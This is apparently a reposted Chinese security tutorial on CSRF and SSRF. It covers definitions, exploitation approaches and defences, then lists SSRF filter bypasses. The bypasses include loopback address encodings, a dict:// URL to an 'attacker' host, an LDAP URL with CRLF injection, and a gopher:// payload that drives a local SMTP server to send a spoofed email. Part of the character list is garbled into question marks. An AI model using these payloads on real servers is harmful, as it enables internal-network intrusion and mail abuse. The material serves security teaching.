当前位置: 代码迷 >> 综合 >> CSRF 与 SSRF
  详细解决方案

CSRF 与 SSRF

热度:37   发布时间:2024-01-11 20:29:40.0

CSRF漏洞简介

CSRF(Cross-site request forgery,跨站请求伪造),是指利用受害者尚未失效的身份认证信息( cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。CSRF与XSS最大的区别就在于,CSRF并没有盗取cookie而是直接利用

CSRF漏洞分类

GET型

GET型CSRF漏洞,只需要构造URL,然后诱导受害者访问利用。

POST型

POST型CSRF漏洞,需要构造自动提交或点击提交的表单,然后诱导受害者访问或点击利用。

CSRF漏洞危害

未验证 Referer或者使用不适当的 Token 导致用户或者管理员可被 CSRF添加、修改、删除等操作

CSRF漏洞利用

利用思路

寻找增删改的地方,构造HTML,修改HTML表单中某些参数,使用浏览器打开该HTML,点击提交表单后查看响应结果,看该操作是否成功执行。

CSRF漏洞修复方案

  1. 添加随机token值,并验证。
  2. 验证Referer
  3. 关键请求使用验证码功能

绕过方式与JSONP差不多:

Referer过滤规则(正则)不严谨;

空Referer;忽视了空Referer的情况,用 <iframe> 调用 javscript 伪协议来实现空 Referer 调用 JSON 文件;

token可被爆破。

 

SSRF漏洞简介

?SSRF(Server-Side Request Forgery,服务器端请求伪造) 是一种利用漏洞伪造服务器端发起请求。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。

SSRF漏洞原理

? 通过控制功能中的发起请求的服务来当作跳板攻击内网中其他服务。比如,通过控制前台的请求远程地址加载的响应,来让请求数据由远程的URL域名修改为请求本地、或者内网的IP地址及服务,来造成对内网系统的攻击。

SSRF漏洞危害

  1. 扫描内网开放服务
  2. 向内部任意主机的任意端口发送payload来攻击内网服务
  3. DOS攻击(请求大文件,始终保持连接Keep-Alive Always)
  4. 攻击内网的web应用,例如直接SQL注入、XSS攻击等
  5. 利用file、gopher、dict协议读取本地文件、执行命令等

SSRF漏洞利用

利用思路

  • 利用URL进行分享
  • 图片加载与下载
  • 图片、文章收藏功能
  • 利用参数中的关键字来查找可以利用点

访问类型均为次类型:http://title.xxx.com/title?title=http://127.0.0.1

可以搜索关键参数:

share
wap
url
link
src
source
target
u
3g
display
sourceURl
imageURL
domain
…

 

SSRF漏洞修复方案

绕过方式

1.攻击本地

http://127.0.0.1:80

http://localhost:22

2.利用[::]

http://[::]:80     =    http://127.0.0.1:80

3.利用@

http://a.com@127.0.0.1

4.短地址

http://dwz.cn/11SMa    =   http://127.0.0.1

5.特殊域名

https://127.0.0.1.xip.io   =   http://www.baidu.com.127.0.0.1.xip.io

原理是DNS解析,只不过这个是人家已经设置好的;

6.利用DNS解析

在域名上设置A记录,指向127.0.0.1,同上

7.利用Enclosed alphanumerics

???????.???   =   example.com

List:

① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ? ? ? ? ? ? ? ? ? ?
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇
⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
? ? ? ? ? ? ? ? ? ? ?
? ? ? ? ? ? ? ? ? ? ?

 

8.利用句号

127。0。0。1  =  127.0.0.1

 

9.利用上传

不一定能行

文件上传时,修改上传类型"type=file"为"file=url",即存在可能触发SSRF

10.进制转换

转成十六、八均可;

转成十六格式:http://0x7f.0.0.1    =    http://127.0.0.1

转成八进制格式:http://0177.0.0.1   =     http://127.0.0.1

http://127.0.0.1/     =    http://2130706433/

11.特殊地址

http://0/

并不等于127.0.0.1

 

12.利用协议

Dict://

 dict://<user-auth>@<host>:<port>/d:<word>

 ssrf.php?url=dict://attacker:11111/

SFTP://

 ssrf.php?url=sftp://example.com:11111/

TFTP://

 ssrf.php?url=tftp://example.com:12346/TESTUDPPACKET

LDAP://

 ssrf.php?url=ldap://localhost:11211/%0astats%0aquit

Gopher://

ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a

13.组合拳

  相关解决方案